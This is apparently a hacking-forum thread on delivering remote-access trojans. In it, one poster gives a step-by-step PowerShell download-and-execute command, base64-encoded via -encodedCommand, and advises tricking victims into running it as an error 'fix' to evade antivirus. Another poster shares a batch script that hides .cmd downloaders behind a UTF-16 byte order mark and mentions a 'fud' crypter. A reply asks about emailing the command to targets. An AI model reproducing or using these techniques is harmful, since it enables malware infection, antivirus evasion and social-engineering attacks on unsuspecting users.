(Jun 9, 2020 08:59 PM)kakaroto33 Wrote:  dont work here

https://prnt.sc/swyauz

Windows 10 Enterprise x64 PTBR build 2004

(Jun 12, 2020 12:49 PM)sNerkerino Wrote:  Here is a little Code to obfuscate your .cmd/.bat

If you use it right then the output will be like:

Code

挦獬਍敀档景൦洊摯⁥㔶ㄬര琊瑩敬吠呉䕌䠠剅൅洊⁤硥牴捡整൤爊湥映汩⹥楢楦敬種灩਍慣汬㜠⹺硥⁥⁥楦敬種灩ⴠ⁰漭硥牴捡整⁤਍潦⁲氯┠椥椠ℨ扢Ⱑㄭㄬ
潤⠠਍慣汬㜠⹺硥⁥⁥硥牴捡整⽤楦敬╟椥਍ഩ爊湥

HOW TO USE IT?
-Copy the code inside a Editor
-Save it! "<whatever>.cmd"
-Drag & Drop your File into the "<whatever.cmd>" it will create a new file called "whatever__.cmd"
-Open the whatever__.cmd with Notepad
-You see only Chinese =)
-Profit?!

Code

@echo off
if "%~1"=="" exit /b
if /i "%~x1" neq ".cmd" exit /b
for /f %%i in ("certutil.exe") do if not exist "%%~$path:i" (
 echo CertUtil.exe not found.
 pause
 exit /b
)
>"temp.~b64" echo(//4mY2xzDQo=
certutil.exe -f -decode "temp.~b64" "%~n1___%~x1"
del "temp.~b64"
copy "%~n1___%~x1" /b + "%~1" /b

Works with all .cmd files.

I also try to create a free .cmd Crypter with this when i have the time for it.

I hope it helps you all out. Thank me later =)
&btw sry for my bad english but i think everyone can understand what i mean :D

(Jun 12, 2020 03:22 PM)sNerkerino Wrote:  I found 2 days before a Microsoft Office registry key Editor and it was obfuscated with this Chinese signs and then i researched how to make it.
I tried many things Out until i got this to work.  

I Think this is a next level base64 encryption for cmd.
You can Edit it in your start post if you want
Credits to me would be nice<3

(Jun 12, 2020 03:35 PM)sNerkerino Wrote:  The most people only read the first post and doesn't go through all comments^^
I'm working on this to make it easier to use but yeah it's next Level and not so easy to deobfuscate like base64

The first thing that normal users try is google translate but it gives only shittyshit :D

(Jun 12, 2020 03:46 PM)sNerkerino Wrote:  Oki. Let me explain.
open it with a Hex Editor and you see how it works it prepends an ff fe byte order mark (that leads to parse the code as UTF-16 le in a text editor) + cls to remove theerror message that cmd.exe will give out.
thats how easy it is^^ But now it's not "magic" anymore
i also made a fud cmd crypter with this using 7zip standalone + random.data

(Jun 12, 2020 04:14 PM)sNerkerino Wrote:  I can make a few screenshots for you.

Create the .cmd File with the Code above. In my case Obfuscation.cmd
Copy the Downloader in the same folder as the Obfuscation.cmd - i name the Downloader YourFile.cmd
It should look like this - https://prnt.sc/syspb3
Now just take "YourFile.cmd" and go over Obfuscation.cmd - https://prnt.sc/sysxzn
(Run YourFile.cmd in Obfuscation.cmd and your Output will be crazy)
If you did this then it should open Obfuscation.cmd with "YourFile.cmd".
It Obfuscate the Code from YourFile.cmd and Generate a new File called "YourFile___.cmd"
https://prnt.sc/sysqlp

This is our Output:
https://prnt.sc/sysrbf

and now i run the non-Obfuscated & the Obfuscated Output file.

non-Obfuscated
https://prnt.sc/syss51

Obfuscated Output file:
https://prnt.sc/syssnk

(Jun 2, 2020 07:40 PM)TheBrokenWasp Wrote:  Hello HF, I have decided to post a quick tutorial here. I will share a simple thing you can do to create a CMD command that will download and execute your RAT, and this can be used for very specific spreading methods and AV evasion tactics.

Step one would be to upload your exe to a hos that provides direct file links. This is surprisingly hard to find for some reason, so I suggest uploading to random hosts that won't ban you, then downloading your own file using Chrome. What you can do then is go to your downloads and see the file you downloaded, and almost always a direct link (or a direct link with GET headers after it that look something like this: ?variable=...) to it in the same section

After this, decide on a file output name. Usually, this can be almost anything.

Next, you will take the following command and replace the variables:

Code

Invoke-WebRequest -Uri [Direct Link to Stub Here] -OutFile [Output File Name Here]; .\[Output File Name Here Again]; exit

and an example would be this:

Code

Invoke-WebRequest -Uri some.com/random/file.exe -OutFile TotallyLegitWindowsProcess.exe; .\TotallyLegitWindowsProcess.exe; exit

Now, encode this using Base64 (Hackforums has a handy tool for this here.) My example command would then look like this:

Now, just slap this prefix onto it:

Code

powershell -encodedCommand

with my example, it would become this:

Code

powershell -encodedCommand SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lLmNvbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgVG90YWxseUxlZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHlMZWdpdFdpbmRvd3NQcm9jZXNzLmV4ZTsgZXhpdA==

And you're done! This can now be executed as a CMD command, PowerShell command, batch file, or PowerShell file. Some things you could do with it include social engineering and telling people that it will fix a certainerror some app has, or put it into a batch file which you then convert to an exe, effectively making a personal downloader to evade AV!

Using the social engineering aspect, that would mean people don't have to download anything which would maybe decrease suspicion of some. Though I would keep in mind that base64 is just as easily decrypted as it is encrypted, so anybody with minimal computer knowledge could find you out if you go this route.



If you have any problems, questions, or comments, feel free to tell/ask me and I will try to respond.

(Jun 12, 2020 08:33 PM)maxlifted Wrote:  Sorry for my questions but do I have to paste this code encodedCommand SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lLmNvbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgVG90YWxseUxlZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHlMZWdpdFdpbmRvd3NQcm9jZXNzLmV4ZTsgZXhpdA in my email body just like that and when people click on it with will download the rat silently or what please?

---

Or are mine going to save the code to a batch file and convert it exe?

(Jun 12, 2020 08:39 PM)TheBrokenWasp Wrote:  They have to run this in their CMD for it to download and execute.